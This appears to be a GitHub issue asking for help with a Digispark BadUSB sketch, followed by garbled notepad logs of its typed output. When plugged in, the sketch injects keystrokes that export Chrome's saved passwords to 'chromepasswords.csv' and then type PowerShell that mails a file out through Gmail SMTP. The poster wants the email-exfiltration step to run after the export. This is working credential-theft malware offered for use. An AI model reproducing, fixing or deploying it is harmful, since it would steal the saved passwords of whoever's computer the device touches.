You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
So my target was to extract passwords from google chrome web browser as "chromepasswords.csv" and after that I want to send the file in email via smtp service from powershell. I wrote the code, it runs perfectly on the extraction part but after I add the code for sending the email at the end of the file it will run before the extraction part :|
So my target was to extract passwords from google chrome web browser as "chromepasswords.csv" and after that I want to send the file in email via smtp service from powershell. I wrote the code, it runs perfectly on the extraction part but after I add the code for sending the email at the end of the file it will run before the extraction part :|
Please, help me on this one
`#include "DigiKeyboard.h"
void setup() { }
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
DigiKeyboard.delay(500);
DigiKeyboard.print("chrome");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
// ----------- exports passwords into csv file
DigiKeyboard.print("chrome://settings/passwords");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(43);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(700);
DigiKeyboard.print("chromepasswords.csv");
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT);
DigiKeyboard.delay(3000);
DigiKeyboard.print("$Username = ''");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$EmailPassword = '<EMAIL_PASSWORD>'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$Attachment = 'Documents\hello.txt'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$EmailFrom = ''");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$EmailTo = '");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$Subject = 'PowershellTest'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$Body= 'PowershellTest'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPServer = 'smtp.gmail.com'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$Attachment = New-Object System.Net.Mail.Attachment($Attachment)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPMessage.Attachments.Add($Attachment)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPClient.EnableSsl = $true");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) ");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$SMTPClient.Send($SMTPMessage)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
digitalWrite(1, HIGH);
DigiKeyboard.delay(2000);
digitalWrite(1, LOW);
}
`
Below are some logs on notepad, please note strange symbols bolded :
($SmtpServerSmtpClient($SmtpServer, 587)
ient.EnableSsl = $true
redentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
NetworkCredential($Username, $EmailPassword)
+# ;
e
$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)
$Attachment = New-Object System.Net.Mail.Attachment($Attachment)
$SMn
v
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
$SMTPClient.Send($SMTPMessage)
exitt.Mail.SmtpClienerver, 587)ableSsl = $true
ls = New-Object workCredential($Username, $EmailPassword)
NetworkCredential($Username, $EmailPassword)
+# ;
e
$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)
$SM] $
$Attachment = New-Object System.Net.Mail.Attachment($Attachment)
v
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
$SMTPClient.Send($SMTPMessage)
exit
.Mail.SmtpClient($SmtpServer, 587)
ient.EnableSsl = $true
redentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
etworkCredential($Username, $EmailPassword)
+( @ :
$SMTPMessage = New-ObjectNet.Mail.MailMessage($EmailFrom, $Emailject, $Body)$Username, $
$Attachment = New-Object System.NeAttachment($Attachment)
$SMTUUWR $SMTPClient.Credentials = New-Object System.Net.NetworkCredential(
$SMTPClient.EnableSsl = sword)
$SMTPClient.Send($SMTPMessage)
exit
ail.SmtpClient587)
ient.EnableSsl = $true
redentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
etworkCredential($Username, $EmailPassword)
+( @ :
$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)
$Attachment = New-Object System.Net.Mail.Attachment($Attachment)
$SMT4
*R
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword)
$SMTPClien
The text was updated successfully, but these errors were encountered: